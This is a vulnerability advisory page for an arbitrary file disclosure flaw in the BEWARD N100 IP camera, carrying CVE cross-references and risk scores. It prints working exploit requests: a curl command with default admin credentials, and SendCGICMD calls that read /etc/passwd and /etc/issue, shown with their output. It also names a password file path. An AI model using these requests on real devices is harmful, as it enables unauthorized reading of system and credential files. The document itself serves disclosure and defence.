BEWARD N100 H.264 VGA IP Camera M2.1.6 Arbitrary File Disclosure

🗓️ 04 Feb 2019 00:00:00Reported by Gjoko KrsticType

zeroscience🔗 www.zeroscience.mk👁 64 Views

BEWARD N100 H.264 VGA IP Camera M2.1.6 File Disclosur

Reporter	Title	Published	Views	Family All 9
Circl	CVE-2019-25246	24 Dec 202520:27	–	circl
CNNVD	Beward N100 安全漏洞	24 Dec 202500:00	–	cnnvd
CVE	CVE-2019-25246	24 Dec 202519:28	–	cve
Cvelist	CVE-2019-25246 Beward N100 H.264 VGA IP Camera M2.1.6 Authenticated File Disclosure	24 Dec 202519:28	–	cvelist
EUVD	EUVD-2025-205317	24 Dec 202521:30	–	euvd
Nuclei	BEWARD N100 H.264 VGA IP Camera M2.1.6 - Arbitrary File Disclosure	4 Jun 202603:48	–	nuclei
NVD	CVE-2019-25246	24 Dec 202520:15	–	nvd
Positive Technologies	PT-2025-53332	24 Dec 202500:00	–	ptsecurity
Vulnrichment	CVE-2019-25246 Beward N100 H.264 VGA IP Camera M2.1.6 Authenticated File Disclosure	24 Dec 202519:28	–	vulnrichment

<html><body><p>BEWARD N100 H.264 VGA IP Camera M2.1.6 Arbitrary File Disclosure

Vendor: Beward R&amp;D Co., Ltd
Product web page: https://www.beward.net
Affected version: M2.1.6.04C014

Summary: The N100 compact color IP camera with support for a more efficient
compression format is optimized for low-speed networks, thanks to which it
transmits a real-time image over the network with minimal delays. The camera
supports the switching of the broadcast modes, and in the event of a break in
communication with the remote file storage, it can continue recording to the
microSDHC memory card. N100 is easy to install and configure, has all the
necessary arsenal for the organization of low-cost professional video surveillance
systems.

Desc: The camera suffers from an authenticated file disclosure vulnerability.
Input passed via the 'READ.filePath' parameter in fileread script is not properly
verified before being used to read files. This can be exploited to disclose
the contents of arbitrary files via absolute path or via the SendCGICMD API.

Tested on: Boa/0.94.14rc21
           Farady ARM Linux 2.6


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2019-5511
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5511.php


26.01.2019


--
From the term:
--
root@ground:~# curl -H "Authorization: Basic YWRtaW46YWRtaW4=" http://TARGET/cgi-bin/operator/fileread?READ.filePath=/etc/passwd
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/bin/sh
daemon:x:2:2:daemon:/usr/sbin:/bin/sh
adm:x:3:4:adm:/adm:/bin/sh
lp:x:4:7:lp:/var/spool/lpd:/bin/sh
sync:x:5:0:sync:/bin:/bin/sync
shutdown:x:6:11:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
uucp:x:10:14:uucp:/var/spool/uucp:/bin/sh
operator:x:11:0:Operator:/var:/bin/sh
nobody:x:99:99:nobody:/home:/bin/sh

--
From the web console:
--
SendCGICMD("cgi-bin/operator/fileread?READ.filePath=/etc/passwd")
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/bin/sh
daemon:x:2:2:daemon:/usr/sbin:/bin/sh
adm:x:3:4:adm:/adm:/bin/sh
lp:x:4:7:lp:/var/spool/lpd:/bin/sh
sync:x:5:0:sync:/bin:/bin/sync
shutdown:x:6:11:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
uucp:x:10:14:uucp:/var/spool/uucp:/bin/sh
operator:x:11:0:Operator:/var:/bin/sh
nobody:x:99:99:nobody:/home:/bin/sh

--
SendCGICMD("cgi-bin/operator/fileread?READ.filePath=/etc/issue")
--
Welcome to \n (\m-\s-\r@\l/\b)
Faraday ARM Linux 2.6

Copyright (C) 2005 Faraday Corp. <www.faraday.com.tw>
Released under GNU GPL

--
wr: /usr/share/www/html
sp: /var/www/secret.passwd
bc: /etc/boa.conf
</www.faraday.com.tw></p></body></html>

04 Feb 2019 00:00Current

5.9Medium risk

Vulners AI Score5.9

CVSS 47.1

CVSS 3.18.8

EPSS0.11736

SSVC